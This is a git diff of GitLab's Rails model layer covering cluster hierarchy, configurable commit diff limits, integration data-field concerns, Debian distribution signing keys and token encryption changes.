diff --git a/app/models/clusters/clusters_hierarchy.rb b/app/models/clusters/clusters_hierarchy.rb
index 125783e6ee1..162a1a3290d 100644
--- a/app/models/clusters/clusters_hierarchy.rb
+++ b/app/models/clusters/clusters_hierarchy.rb
@@ -4,9 +4,8 @@ module Clusters
class ClustersHierarchy
DEPTH_COLUMN = :depth
- def initialize(clusterable, include_management_project: true)
+ def initialize(clusterable)
@clusterable = clusterable
- @include_management_project = include_management_project
end
# Returns clusters in order from deepest to highest group
@@ -25,7 +24,7 @@ module Clusters
private
- attr_reader :clusterable, :include_management_project
+ attr_reader :clusterable
def recursive_cte
cte = Gitlab::SQL::RecursiveCTE.new(:clusters_cte)
@@ -39,7 +38,7 @@ module Clusters
raise ArgumentError, "unknown type for #{clusterable}"
end
- if clusterable.is_a?(::Project) && include_management_project
+ if clusterable.is_a?(::Project)
cte << same_namespace_management_clusters_query
end
@@ -71,7 +70,7 @@ module Clusters
# Only applicable if the clusterable is a project (most especially when
# requesting project.deployment_platform).
def depth_order_clause
- return { DEPTH_COLUMN => :asc } unless clusterable.is_a?(::Project) && include_management_project
+ return { DEPTH_COLUMN => :asc } unless clusterable.is_a?(::Project)
order = <<~SQL
(CASE clusters.management_project_id
diff --git a/app/models/commit.rb b/app/models/commit.rb
index 09e43bb8f20..a1ed5eb9ab9 100644
--- a/app/models/commit.rb
+++ b/app/models/commit.rb
@@ -15,8 +15,6 @@ class Commit
include ActsAsPaginatedDiff
include CacheMarkdownField
- attr_mentionable :safe_message, pipeline: :single_line
-
participant :author
participant :committer
participant :notes_with_associations
@@ -35,10 +33,20 @@ class Commit
# Used by GFM to match and present link extensions on node texts and hrefs.
LINK_EXTENSION_PATTERN = /(patch)/.freeze
+ DEFAULT_MAX_DIFF_LINES_SETTING = 50_000
+ DEFAULT_MAX_DIFF_FILES_SETTING = 1_000
+ MAX_DIFF_LINES_SETTING_UPPER_BOUND = 100_000
+ MAX_DIFF_FILES_SETTING_UPPER_BOUND = 3_000
+ DIFF_SAFE_LIMIT_FACTOR = 10
+
cache_markdown_field :title, pipeline: :single_line
cache_markdown_field :full_title, pipeline: :single_line, limit: 1.kilobyte
cache_markdown_field :description, pipeline: :commit_description, limit: 1.megabyte
+ # Share the cache used by the markdown fields
+ attr_mentionable :title, pipeline: :single_line
+ attr_mentionable :description, pipeline: :commit_description, limit: 1.megabyte
+
class << self
def decorate(commits, container)
commits.map do |commit|
@@ -76,20 +84,24 @@ class Commit
end
def diff_safe_lines(project: nil)
- Gitlab::Git::DiffCollection.default_limits(project: project)[:max_lines]
+ diff_safe_max_lines(project: project)
end
- def diff_hard_limit_files(project: nil)
+ def diff_max_files(project: nil)
if Feature.enabled?(:increased_diff_limits, project)
3000
+ elsif Feature.enabled?(:configurable_diff_limits, project)
+ Gitlab::CurrentSettings.diff_max_files
else
1000
end
end
- def diff_hard_limit_lines(project: nil)
+ def diff_max_lines(project: nil)
if Feature.enabled?(:increased_diff_limits, project)
100000
+ elsif Feature.enabled?(:configurable_diff_limits, project)
+ Gitlab::CurrentSettings.diff_max_lines
else
50000
end
@@ -97,11 +109,19 @@ class Commit
def max_diff_options(project: nil)
{
- max_files: diff_hard_limit_files(project: project),
- max_lines: diff_hard_limit_lines(project: project)
+ max_files: diff_max_files(project: project),
+ max_lines: diff_max_lines(project: project)
}
end
+ def diff_safe_max_files(project: nil)
+ diff_max_files(project: project) / DIFF_SAFE_LIMIT_FACTOR
+ end
+
+ def diff_safe_max_lines(project: nil)
+ diff_max_lines(project: project) / DIFF_SAFE_LIMIT_FACTOR
+ end
+
def from_hash(hash, container)
raw_commit = Gitlab::Git::Commit.new(container.repository.raw, hash)
new(raw_commit, container)
diff --git a/app/models/commit_status.rb b/app/models/commit_status.rb
index c5ba19438cd..2db606898b9 100644
--- a/app/models/commit_status.rb
+++ b/app/models/commit_status.rb
@@ -57,6 +57,9 @@ class CommitStatus < ApplicationRecord
scope :in_pipelines, ->(pipelines) { where(pipeline: pipelines) }
scope :eager_load_pipeline, -> { eager_load(:pipeline, project: { namespace: :route }) }
scope :with_pipeline, -> { joins(:pipeline) }
+ scope :updated_before, ->(lookback:, timeout:) {
+ where('(ci_builds.created_at BETWEEN ? AND ?) AND (ci_builds.updated_at BETWEEN ? AND ?)', lookback, timeout, lookback, timeout)
+ }
scope :for_project_paths, -> (paths) do
where(project: Project.where_full_path_in(Array(paths)))
@@ -174,8 +177,11 @@ class CommitStatus < ApplicationRecord
next if commit_status.processed?
next unless commit_status.project
+ last_arg = transition.args.last
+ transition_options = last_arg.is_a?(Hash) && last_arg.extractable_options? ? last_arg : {}
+
commit_status.run_after_commit do
- PipelineProcessWorker.perform_async(pipeline_id)
+ PipelineProcessWorker.perform_async(pipeline_id) unless transition_options[:skip_pipeline_processing]
ExpireJobCacheWorker.perform_async(id)
end
end
diff --git a/app/models/concerns/bulk_insert_safe.rb b/app/models/concerns/bulk_insert_safe.rb
index 3748e77e933..908f0b6a7e2 100644
--- a/app/models/concerns/bulk_insert_safe.rb
+++ b/app/models/concerns/bulk_insert_safe.rb
@@ -141,6 +141,12 @@ module BulkInsertSafe
raise ArgumentError, "returns needs to be :ids or nil"
end
+ # Handle insertions for tables with a composite primary key
+ primary_keys = connection.schema_cache.primary_keys(table_name)
+ if unique_by.blank? && primary_key != primary_keys
+ unique_by = primary_keys
+ end
+
transaction do
items.each_slice(batch_size).flat_map do |item_batch|
attributes = _bulk_insert_item_attributes(
diff --git a/app/models/concerns/cache_markdown_field.rb b/app/models/concerns/cache_markdown_field.rb
index a5cf947ba07..101bff32dfe 100644
--- a/app/models/concerns/cache_markdown_field.rb
+++ b/app/models/concerns/cache_markdown_field.rb
@@ -27,7 +27,7 @@ module CacheMarkdownField
# Returns the default Banzai render context for the cached markdown field.
def banzai_render_context(field)
raise ArgumentError, "Unknown field: #{field.inspect}" unless
- cached_markdown_fields.markdown_fields.include?(field)
+ cached_markdown_fields.key?(field)
# Always include a project key, or Banzai complains
project = self.project if self.respond_to?(:project)
@@ -100,7 +100,7 @@ module CacheMarkdownField
def cached_html_for(markdown_field)
raise ArgumentError, "Unknown field: #{markdown_field}" unless
- cached_markdown_fields.markdown_fields.include?(markdown_field)
+ cached_markdown_fields.key?(markdown_field)
__send__(cached_markdown_fields.html_field(markdown_field)) # rubocop:disable GitlabSecurity/PublicSend
end
@@ -108,7 +108,7 @@ module CacheMarkdownField
# Updates the markdown cache if necessary, then returns the field
# Unlike `cached_html_for` it returns `nil` if the field does not exist
def updated_cached_html_for(markdown_field)
- return unless cached_markdown_fields.markdown_fields.include?(markdown_field)
+ return unless cached_markdown_fields.key?(markdown_field)
if attribute_invalidated?(cached_markdown_fields.html_field(markdown_field))
# Invalidated due to Markdown content change
@@ -157,6 +157,9 @@ module CacheMarkdownField
end
def store_mentions!
+ # We can only store mentions if the mentionable is a database object
+ return unless self.is_a?(ApplicationRecord)
+
refs = all_references(self.author)
references = {}
diff --git a/app/models/concerns/cron_schedulable.rb b/app/models/concerns/cron_schedulable.rb
index beb3a09c119..48605ecc3d7 100644
--- a/app/models/concerns/cron_schedulable.rb
+++ b/app/models/concerns/cron_schedulable.rb
@@ -4,23 +4,28 @@ module CronSchedulable
extend ActiveSupport::Concern
include Schedulable
+ def set_next_run_at
+ self.next_run_at = calculate_next_run_at
+ end
+
+ private
+
##
# The `next_run_at` column is set to the actual execution date of worker that
# triggers the schedule. This way, a schedule like `*/1 * * * *` won't be triggered
# in a short interval when the worker runs irregularly by Sidekiq Memory Killer.
- def set_next_run_at
+ def calculate_next_run_at
now = Time.zone.now
+
ideal_next_run = ideal_next_run_from(now)
- self.next_run_at = if ideal_next_run == cron_worker_next_run_from(now)
- ideal_next_run
- else
- cron_worker_next_run_from(ideal_next_run)
- end
+ if ideal_next_run == cron_worker_next_run_from(now)
+ ideal_next_run
+ else
+ cron_worker_next_run_from(ideal_next_run)
+ end
end
- private
-
def ideal_next_run_from(start_time)
next_time_from(start_time, cron, cron_timezone)
end
diff --git a/app/models/concerns/deployment_platform.rb b/app/models/concerns/deployment_platform.rb
index 02f7711e927..b6245e29746 100644
--- a/app/models/concerns/deployment_platform.rb
+++ b/app/models/concerns/deployment_platform.rb
@@ -10,10 +10,6 @@ module DeploymentPlatform
private
- def cluster_management_project_enabled?
- Feature.enabled?(:cluster_management_project, self, default_enabled: true)
- end
-
def find_deployment_platform(environment)
find_platform_kubernetes_with_cte(environment) ||
find_instance_cluster_platform_kubernetes(environment: environment)
@@ -21,13 +17,13 @@ module DeploymentPlatform
def find_platform_kubernetes_with_cte(environment)
if environment
- ::Clusters::ClustersHierarchy.new(self, include_management_project: cluster_management_project_enabled?)
+ ::Clusters::ClustersHierarchy.new(self)
.base_and_ancestors
.enabled
.on_environment(environment, relevant_only: true)
.first&.platform_kubernetes
else
- Clusters::ClustersHierarchy.new(self, include_management_project: cluster_management_project_enabled?).base_and_ancestors
+ Clusters::ClustersHierarchy.new(self).base_and_ancestors
.enabled.default_environment
.first&.platform_kubernetes
end
diff --git a/app/models/concerns/enum_with_nil.rb b/app/models/concerns/enum_with_nil.rb
index 6d0a21cf070..c66942025d7 100644
--- a/app/models/concerns/enum_with_nil.rb
+++ b/app/models/concerns/enum_with_nil.rb
@@ -11,14 +11,6 @@ module EnumWithNil
# override auto-defined methods only for the
# key which uses nil value
definitions.each do |name, values|
- next unless key_with_nil = values.key(nil)
-
- # E.g. for enum_with_nil failure_reason: { unknown_failure: nil }
- # this overrides auto-generated method `unknown_failure?`
- define_method("#{key_with_nil}?") do
- self[name].nil?
- end
-
# E.g. for enum_with_nil failure_reason: { unknown_failure: nil }
# this overrides auto-generated method `failure_reason`
define_method(name) do
diff --git a/app/models/concerns/enums/ci/commit_status.rb b/app/models/concerns/enums/ci/commit_status.rb
index 2e368b12cb7..72788d15c0a 100644
--- a/app/models/concerns/enums/ci/commit_status.rb
+++ b/app/models/concerns/enums/ci/commit_status.rb
@@ -24,6 +24,7 @@ module Enums
project_deleted: 15,
ci_quota_exceeded: 16,
pipeline_loop_detected: 17,
+ no_matching_runner: 18, # not used anymore, but cannot be deleted because of old data
insufficient_bridge_permissions: 1_001,
downstream_bridge_project_not_found: 1_002,
invalid_bridge_trigger: 1_003,
diff --git a/app/models/concerns/enums/vulnerability.rb b/app/models/concerns/enums/vulnerability.rb
index 55360eb92e6..749d1ad65cd 100644
--- a/app/models/concerns/enums/vulnerability.rb
+++ b/app/models/concerns/enums/vulnerability.rb
@@ -29,6 +29,14 @@ module Enums
critical: 7
}.with_indifferent_access.freeze
+ DETECTION_METHODS = {
+ gitlab_security_report: 0,
+ external_security_report: 1,
+ bug_bounty: 2,
+ code_review: 3,
+ security_audit: 4
+ }.with_indifferent_access.freeze
+
def self.confidence_levels
CONFIDENCE_LEVELS
end
@@ -40,6 +48,10 @@ module Enums
def self.severity_levels
SEVERITY_LEVELS
end
+
+ def self.detection_methods
+ DETECTION_METHODS
+ end
end
end
diff --git a/app/models/concerns/has_timelogs_report.rb b/app/models/concerns/has_timelogs_report.rb
deleted file mode 100644
index 3af063438bf..00000000000
--- a/app/models/concerns/has_timelogs_report.rb
+++ /dev/null
@@ -1,20 +0,0 @@
-# frozen_string_literal: true
-
-module HasTimelogsReport
- extend ActiveSupport::Concern
- include Gitlab::Utils::StrongMemoize
-
- def timelogs(start_time, end_time)
- strong_memoize(:timelogs) { timelogs_for(start_time, end_time) }
- end
-
- def user_can_access_group_timelogs?(current_user)
- Ability.allowed?(current_user, :read_group_timelogs, self)
- end
-
- private
-
- def timelogs_for(start_time, end_time)
- Timelog.between_times(start_time, end_time).in_group(self)
- end
-end
diff --git a/app/models/concerns/has_user_type.rb b/app/models/concerns/has_user_type.rb
index 468387115e5..4b4f9c0df84 100644
--- a/app/models/concerns/has_user_type.rb
+++ b/app/models/concerns/has_user_type.rb
@@ -12,10 +12,11 @@ module HasUserType
ghost: 5,
project_bot: 6,
migration_bot: 7,
- security_bot: 8
+ security_bot: 8,
+ automation_bot: 9
}.with_indifferent_access.freeze
- BOT_USER_TYPES = %w[alert_bot project_bot support_bot visual_review_bot migration_bot security_bot].freeze
+ BOT_USER_TYPES = %w[alert_bot project_bot support_bot visual_review_bot migration_bot security_bot automation_bot].freeze
NON_INTERNAL_USER_TYPES = %w[human project_bot service_user].freeze
INTERNAL_USER_TYPES = (USER_TYPES.keys - NON_INTERNAL_USER_TYPES).freeze
diff --git a/app/models/concerns/integrations/base_data_fields.rb b/app/models/concerns/integrations/base_data_fields.rb
new file mode 100644
index 00000000000..3cedb90756f
--- /dev/null
+++ b/app/models/concerns/integrations/base_data_fields.rb
@@ -0,0 +1,28 @@
+# frozen_string_literal: true
+
+module Integrations
+ module BaseDataFields
+ extend ActiveSupport::Concern
+
+ included do
+ # TODO: Once we rename the tables we can't rely on `table_name` anymore.
+ # https://gitlab.com/gitlab-org/gitlab/-/issues/331953
+ belongs_to :integration, inverse_of: self.table_name.to_sym, foreign_key: :service_id
+
+ delegate :activated?, to: :integration, allow_nil: true
+
+ validates :integration, presence: true
+ end
+
+ class_methods do
+ def encryption_options
+ {
+ key: Settings.attr_encrypted_db_key_base_32,
+ encode: true,
+ mode: :per_attribute_iv,
+ algorithm: 'aes-256-gcm'
+ }
+ end
+ end
+ end
+end
diff --git a/app/models/concerns/integrations/has_data_fields.rb b/app/models/concerns/integrations/has_data_fields.rb
new file mode 100644
index 00000000000..e9aaaac8226
--- /dev/null
+++ b/app/models/concerns/integrations/has_data_fields.rb
@@ -0,0 +1,61 @@
+# frozen_string_literal: true
+
+module Integrations
+ module HasDataFields
+ extend ActiveSupport::Concern
+
+ class_methods do
+ # Provide convenient accessor methods for data fields.
+ # TODO: Simplify as part of https://gitlab.com/gitlab-org/gitlab/issues/29404
+ def data_field(*args)
+ args.each do |arg|
+ self.class_eval <<-RUBY, __FILE__, __LINE__ + 1
+ unless method_defined?(arg)
+ def #{arg}
+ data_fields.send('#{arg}') || (properties && properties['#{arg}'])
+ end
+ end
+
+ def #{arg}=(value)
+ @old_data_fields ||= {}
+ @old_data_fields['#{arg}'] ||= #{arg} # set only on the first assignment, IOW we remember the original value only
+ data_fields.send('#{arg}=', value)
+ end
+
+ def #{arg}_touched?
+ @old_data_fields ||= {}
+ @old_data_fields.has_key?('#{arg}')
+ end
+
+ def #{arg}_changed?
+ #{arg}_touched? && @old_data_fields['#{arg}'] != #{arg}
+ end
+
+ def #{arg}_was
+ return unless #{arg}_touched?
+ return if data_fields.persisted? # arg_was does not work for attr_encrypted
+
+ legacy_properties_data['#{arg}']
+ end
+ RUBY
+ end
+ end
+ end
+
+ included do
+ has_one :issue_tracker_data, autosave: true, inverse_of: :integration, foreign_key: :service_id, class_name: 'Integrations::IssueTrackerData'
+ has_one :jira_tracker_data, autosave: true, inverse_of: :integration, foreign_key: :service_id, class_name: 'Integrations::JiraTrackerData'
+ has_one :open_project_tracker_data, autosave: true, inverse_of: :integration, foreign_key: :service_id, class_name: 'Integrations::OpenProjectTrackerData'
+
+ def data_fields
+ raise NotImplementedError
+ end
+
+ def data_fields_present?
+ data_fields.present?
+ rescue NotImplementedError
+ false
+ end
+ end
+ end
+end
diff --git a/app/models/concerns/integrations/slack_mattermost_notifier.rb b/app/models/concerns/integrations/slack_mattermost_notifier.rb
new file mode 100644
index 00000000000..a919fc840fd
--- /dev/null
+++ b/app/models/concerns/integrations/slack_mattermost_notifier.rb
@@ -0,0 +1,24 @@
+# frozen_string_literal: true
+
+module Integrations
+ module SlackMattermostNotifier
+ private
+
+ def notify(message, opts)
+ # See https://gitlab.com/gitlab-org/slack-notifier/#custom-http-client
+ notifier = ::Slack::Messenger.new(webhook, opts.merge(http_client: HTTPClient))
+ notifier.ping(
+ message.pretext,
+ attachments: message.attachments,
+ fallback: message.fallback
+ )
+ end
+
+ class HTTPClient
+ def self.post(uri, params = {})
+ params.delete(:http_options) # these are internal to the client and we do not want them
+ Gitlab::HTTP.post(uri, body: params)
+ end
+ end
+ end
+end
diff --git a/app/models/concerns/issuable.rb b/app/models/concerns/issuable.rb
index f5c70f10dc5..2d06247a486 100644
--- a/app/models/concerns/issuable.rb
+++ b/app/models/concerns/issuable.rb
@@ -101,20 +101,19 @@ module Issuable
scope :unassigned, -> do
where("NOT EXISTS (SELECT TRUE FROM #{to_ability_name}_assignees WHERE #{to_ability_name}_id = #{to_ability_name}s.id)")
end
- scope :assigned_to, ->(u) do
- assignees_table = Arel::Table.new("#{to_ability_name}_assignees")
- sql = assignees_table.project('true').where(assignees_table[:user_id].in(u.id)).where(Arel::Nodes::SqlLiteral.new("#{to_ability_name}_id = #{to_ability_name}s.id"))
- where("EXISTS (#{sql.to_sql})")
- end
- # rubocop:enable GitlabSecurity/SqlInjection
+ scope :assigned_to, ->(users) do
+ assignees_class = self.reflect_on_association("#{to_ability_name}_assignees").klass
+ condition = assignees_class.where(user_id: users).where(Arel.sql("#{to_ability_name}_id = #{to_ability_name}s.id"))
+ where(condition.arel.exists)
+ end
scope :not_assigned_to, ->(users) do
- assignees_table = Arel::Table.new("#{to_ability_name}_assignees")
- sql = assignees_table.project('true')
- .where(assignees_table[:user_id].in(users))
- .where(Arel::Nodes::SqlLiteral.new("#{to_ability_name}_id = #{to_ability_name}s.id"))
- where(sql.exists.not)
+ assignees_class = self.reflect_on_association("#{to_ability_name}_assignees").klass
+
+ condition = assignees_class.where(user_id: users).where(Arel.sql("#{to_ability_name}_id = #{to_ability_name}s.id"))
+ where(condition.arel.exists.not)
end
+ # rubocop:enable GitlabSecurity/SqlInjection
scope :without_particular_labels, ->(label_names) do
labels_table = Label.arel_table
@@ -469,9 +468,11 @@ module Issuable
if self.respond_to?(:total_time_spent)
old_total_time_spent = old_associations.fetch(:total_time_spent, total_time_spent)
+ old_time_change = old_associations.fetch(:time_change, time_change)
if old_total_time_spent != total_time_spent
changes[:total_time_spent] = [old_total_time_spent, total_time_spent]
+ changes[:time_change] = [old_time_change, time_change]
end
end
end
diff --git a/app/models/concerns/issue_available_features.rb b/app/models/concerns/issue_available_features.rb
index 28d12a033a6..933e8b5f687 100644
--- a/app/models/concerns/issue_available_features.rb
+++ b/app/models/concerns/issue_available_features.rb
@@ -11,7 +11,8 @@ module IssueAvailableFeatures
def available_features_for_issue_types
{
assignee: %w(issue incident),
- confidentiality: %(issue incident)
+ confidentiality: %w(issue incident),
+ time_tracking: %w(issue incident)
}.with_indifferent_access
end
end
diff --git a/app/models/concerns/limitable.rb b/app/models/concerns/limitable.rb
index 672bcdbbb1b..41efea65c5a 100644
--- a/app/models/concerns/limitable.rb
+++ b/app/models/concerns/limitable.rb
@@ -6,6 +6,7 @@ module Limitable
included do
class_attribute :limit_scope
+ class_attribute :limit_relation
class_attribute :limit_name
class_attribute :limit_feature_flag
self.limit_name = self.name.demodulize.tableize
@@ -28,7 +29,7 @@ module Limitable
return unless scope_relation
return if limit_feature_flag && ::Feature.disabled?(limit_feature_flag, scope_relation, default_enabled: :yaml)
- relation = self.class.where(limit_scope => scope_relation)
+ relation = limit_relation ? self.public_send(limit_relation) : self.class.where(limit_scope => scope_relation) # rubocop:disable GitlabSecurity/PublicSend
limits = scope_relation.actual_limits
check_plan_limit_not_exceeded(limits, relation)
diff --git a/app/models/concerns/mentionable/reference_regexes.rb b/app/models/concerns/mentionable/reference_regexes.rb
index e33b6db0103..b05beb6c764 100644
--- a/app/models/concerns/mentionable/reference_regexes.rb
+++ b/app/models/concerns/mentionable/reference_regexes.rb
@@ -29,7 +29,7 @@ module Mentionable
def self.external_pattern
strong_memoize(:external_pattern) do
- issue_pattern = IssueTrackerService.reference_pattern
+ issue_pattern = Integrations::BaseIssueTracker.reference_pattern
link_patterns = URI::DEFAULT_PARSER.make_regexp(%w(http https))
reference_pattern(link_patterns, issue_pattern)
end
diff --git a/app/models/concerns/notification_branch_selection.rb b/app/models/concerns/notification_branch_selection.rb
index 2354335469a..18ec996c3df 100644
--- a/app/models/concerns/notification_branch_selection.rb
+++ b/app/models/concerns/notification_branch_selection.rb
@@ -2,7 +2,7 @@
# Concern handling functionality around deciding whether to send notification
# for activities on a specified branch or not. Will be included in
-# ChatNotificationService and PipelinesEmailService classes.
+# Integrations::BaseChatNotification and PipelinesEmailService classes.
module NotificationBranchSelection
extend ActiveSupport::Concern
diff --git a/app/models/concerns/packages/debian/component_file.rb b/app/models/concerns/packages/debian/component_file.rb
index c41635a0d16..9cf66c756a0 100644
--- a/app/models/concerns/packages/debian/component_file.rb
+++ b/app/models/concerns/packages/debian/component_file.rb
@@ -50,6 +50,8 @@ module Packages
scope :with_file_type, ->(file_type) { where(file_type: file_type) }
+ scope :with_architecture, ->(architecture) { where(architecture: architecture) }
+
scope :with_architecture_name, ->(architecture_name) do
left_outer_joins(:architecture)
.where("packages_debian_#{container_type}_architectures" => { name: architecture_name })
@@ -60,7 +62,7 @@ module Packages
scope :preload_distribution, -> { includes(component: :distribution) }
- scope :created_before, ->(reference) { where("#{table_name}.created_at < ?", reference) }
+ scope :updated_before, ->(reference) { where("#{table_name}.updated_at < ?", reference) }
mount_file_store_uploader Packages::Debian::ComponentFileUploader
diff --git a/app/models/concerns/packages/debian/distribution.rb b/app/models/concerns/packages/debian/distribution.rb
index 267c7a4d201..159f0044c82 100644
--- a/app/models/concerns/packages/debian/distribution.rb
+++ b/app/models/concerns/packages/debian/distribution.rb
@@ -18,6 +18,10 @@ module Packages
belongs_to container_type
belongs_to :creator, class_name: 'User'
+ has_one :key,
+ class_name: "Packages::Debian::#{container_type.capitalize}DistributionKey",
+ foreign_key: :distribution_id,
+ inverse_of: :distribution
# component_files must be destroyed by ruby code in order to properly remove carrierwave uploads
has_many :components,
class_name: "Packages::Debian::#{container_type.capitalize}Component",
@@ -91,6 +95,14 @@ module Packages
mount_file_store_uploader Packages::Debian::DistributionReleaseFileUploader
+ def component_names
+ components.pluck(:name).sort
+ end
+
+ def architecture_names
+ architectures.pluck(:name).sort
+ end
+
def needs_update?
!file.exists? || time_duration_expired?
end
diff --git a/app/models/concerns/packages/debian/distribution_key.rb b/app/models/concerns/packages/debian/distribution_key.rb
new file mode 100644
index 00000000000..7023e2dcd37
--- /dev/null
+++ b/app/models/concerns/packages/debian/distribution_key.rb
@@ -0,0 +1,45 @@
+# frozen_string_literal: true
+
+module Packages
+ module Debian
+ module DistributionKey
+ extend ActiveSupport::Concern
+
+ included do
+ belongs_to :distribution, class_name: "Packages::Debian::#{container_type.capitalize}Distribution", inverse_of: :key
+ validates :distribution,
+ presence: true
+
+ validates :private_key, presence: true, length: { maximum: 512.kilobytes }
+ validates :passphrase, presence: true, length: { maximum: 255 }
+ validates :public_key, presence: true, length: { maximum: 512.kilobytes }
+ validates :fingerprint, presence: true, length: { maximum: 255 }
+
+ validate :private_key_armored, :public_key_armored
+
+ attr_encrypted :private_key,
+ mode: :per_attribute_iv,
+ key: Settings.attr_encrypted_db_key_base_32,
+ algorithm: 'aes-256-gcm'
+ attr_encrypted :passphrase,
+ mode: :per_attribute_iv,
+ key: Settings.attr_encrypted_db_key_base_32,
+ algorithm: 'aes-256-gcm'
+
+ private
+
+ def private_key_armored
+ if private_key.present? && !private_key.start_with?('-----BEGIN PGP PRIVATE KEY BLOCK-----')
+ errors.add(:private_key, 'must be ASCII armored')
+ end
+ end
+
+ def public_key_armored
+ if public_key.present? && !public_key.start_with?('-----BEGIN PGP PUBLIC KEY BLOCK-----')
+ errors.add(:public_key, 'must be ASCII armored')
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/app/models/concerns/prometheus_adapter.rb b/app/models/concerns/prometheus_adapter.rb
index afebc426762..86280097d19 100644
--- a/app/models/concerns/prometheus_adapter.rb
+++ b/app/models/concerns/prometheus_adapter.rb
@@ -38,7 +38,7 @@ module PrometheusAdapter
# This is a heavy-weight check if a prometheus is properly configured and accessible from GitLab.
# This actually sends a request to an external service and often it could take a long time,
- # Please consider using `configured?` instead if the process is running on unicorn/puma threads.
+ # Please consider using `configured?` instead if the process is running on Puma threads.
def can_query?
prometheus_client.present?
end
diff --git a/app/models/concerns/service_push_data_validations.rb b/app/models/concerns/service_push_data_validations.rb
index defc5794142..451804a2c56 100644
--- a/app/models/concerns/service_push_data_validations.rb
+++ b/app/models/concerns/service_push_data_validations.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
-# This concern is used by registerd services such as TeamCityService and
-# DroneCiService and add methods to perform validations on the received
+# This concern is used by registered integrations such as Integrations::TeamCity and
+# Integrations::DroneCi and adds methods to perform validations on the received
# data.
module ServicePushDataValidations
diff --git a/app/models/concerns/services/data_fields.rb b/app/models/concerns/services/data_fields.rb
deleted file mode 100644
index fd56af449bc..00000000000
--- a/app/models/concerns/services/data_fields.rb
+++ /dev/null
@@ -1,26 +0,0 @@
-# frozen_string_literal: true
-
-module Services
- module DataFields
- extend ActiveSupport::Concern
-
- included do
- belongs_to :integration, inverse_of: self.name.underscore.to_sym, foreign_key: :service_id
-
- delegate :activated?, to: :integration, allow_nil: true
-
- validates :integration, presence: true
- end
-
- class_methods do
- def encryption_options
- {
- key: Settings.attr_encrypted_db_key_base_32,
- encode: true,
- mode: :per_attribute_iv,
- algorithm: 'aes-256-gcm'
- }
- end
- end
- end
-end
diff --git a/app/models/concerns/taggable_queries.rb b/app/models/concerns/taggable_queries.rb
new file mode 100644
index 00000000000..2897e5e6420
--- /dev/null
+++ b/app/models/concerns/taggable_queries.rb
@@ -0,0 +1,16 @@
+# frozen_string_literal: true
+
+module TaggableQueries
+ extend ActiveSupport::Concern
+
+ class_methods do
+ # context is a name `acts_as_taggable context`
+ def arel_tag_names_array(context = :tags)
+ ActsAsTaggableOn::Tagging
+ .joins(:tag)
+ .where("taggings.taggable_id=#{quoted_table_name}.id") # rubocop:disable GitlabSecurity/SqlInjection
+ .where(taggings: { context: context, taggable_type: polymorphic_name })
+ .select('COALESCE(array_agg(tags.name ORDER BY name), ARRAY[]::text[])')
+ end
+ end
+end
diff --git a/app/models/concerns/time_trackable.rb b/app/models/concerns/time_trackable.rb
index a1e7d06b1c1..89b42eec727 100644
--- a/app/models/concerns/time_trackable.rb
+++ b/app/models/concerns/time_trackable.rb
@@ -33,11 +33,11 @@ module TimeTrackable
return if @time_spent == 0
- if @time_spent == :reset
- reset_spent_time
- else
- add_or_subtract_spent_time
- end
+ @timelog = if @time_spent == :reset
+ reset_spent_time
+ else
+ add_or_subtract_spent_time
+ end
end
alias_method :spend_time=, :spend_time
# rubocop:enable Gitlab/ModuleWithInstanceVariables
@@ -50,6 +50,14 @@ module TimeTrackable
Gitlab::TimeTrackingFormatter.output(total_time_spent)
end
+ def time_change
+ @timelog&.time_spent.to_i # rubocop:disable Gitlab/ModuleWithInstanceVariables
+ end
+
+ def human_time_change
+ Gitlab::TimeTrackingFormatter.output(time_change)
+ end
+
def human_time_estimate
Gitlab::TimeTrackingFormatter.output(time_estimate)
end
diff --git a/app/models/concerns/timebox.rb b/app/models/concerns/timebox.rb
index fb9a8cd312d..8dc58f8dca1 100644
--- a/app/models/concerns/timebox.rb
+++ b/app/models/concerns/timebox.rb
@@ -44,7 +44,6 @@ module Timebox
validates :project, presence: true, unless: :group
validates :title, presence: true
- validate :uniqueness_of_title, if: :title_changed?
validate :timebox_type_check
validate :start_date_should_be_less_than_due_date, if: proc { |m| m.start_date.present? && m.due_date.present? }
validate :dates_within_4_digits
@@ -243,18 +242,6 @@ module Timebox
end
end
- # Timebox titles must be unique across project and group timeboxes
- def uniqueness_of_title
- if project
- relation = self.class.for_projects_and_groups([project_id], [project.group&.id])
- elsif group
- relation = self.class.for_projects_and_groups(group.projects.select(:id), [group.id])
- end
-
- title_exists = relation.find_by_title(title)
- errors.add(:title, _("already being used for another group or project %{timebox_name}.") % { timebox_name: timebox_name }) if title_exists
- end
-
# Timebox should be either a project timebox or a group timebox
def timebox_type_check
if group_id && project_id
diff --git a/app/models/concerns/token_authenticatable_strategies/encryption_helper.rb b/app/models/concerns/token_authenticatable_strategies/encryption_helper.rb
index 25c050820d6..3be82ed72d3 100644
--- a/app/models/concerns/token_authenticatable_strategies/encryption_helper.rb
+++ b/app/models/concerns/token_authenticatable_strategies/encryption_helper.rb
@@ -5,10 +5,6 @@ module TokenAuthenticatableStrategies
DYNAMIC_NONCE_IDENTIFIER = "|"
NONCE_SIZE = 12
- def self.encrypt_token(plaintext_token)
- Gitlab::CryptoHelper.aes256_gcm_encrypt(plaintext_token)
- end
-
def self.decrypt_token(token)
return unless token
@@ -22,5 +18,13 @@ module TokenAuthenticatableStrategies
Gitlab::CryptoHelper.aes256_gcm_decrypt(token)
end
end
+
+ def self.encrypt_token(plaintext_token)
+ return Gitlab::CryptoHelper.aes256_gcm_encrypt(plaintext_token) unless Feature.enabled?(:dynamic_nonce, type: :ops)
+
+ iv = ::Digest::SHA256.hexdigest(plaintext_token).bytes.take(NONCE_SIZE).pack('c*')
+ token = Gitlab::CryptoHelper.aes256_gcm_encrypt(plaintext_token, nonce: iv)
+ "#{DYNAMIC_NONCE_IDENTIFIER}#{token}#{iv}"
+ end
end
end
diff --git a/app/models/container_repository.rb b/app/models/container_repository.rb
index 6e0d0e347c9..2d28a81f462 100644
--- a/app/models/container_repository.rb
+++ b/app/models/container_repository.rb
@@ -24,8 +24,15 @@ class ContainerRepository < ApplicationRecord
scope :for_group_and_its_subgroups, ->(group) do
project_scope = Project
.for_group_and_its_subgroups(group)
- .with_container_registry
- .select(:id)
+
+ project_scope =
+ if Feature.enabled?(:read_container_registry_access_level, group, default_enabled: :yaml)
+ project_scope.with_feature_enabled(:container_registry)
+ else
+ project_scope.with_container_registry
+ end
+
+ project_scope = project_scope.select(:id)
joins("INNER JOIN (#{project_scope.to_sql}) projects on projects.id=container_repositories.project_id")
end
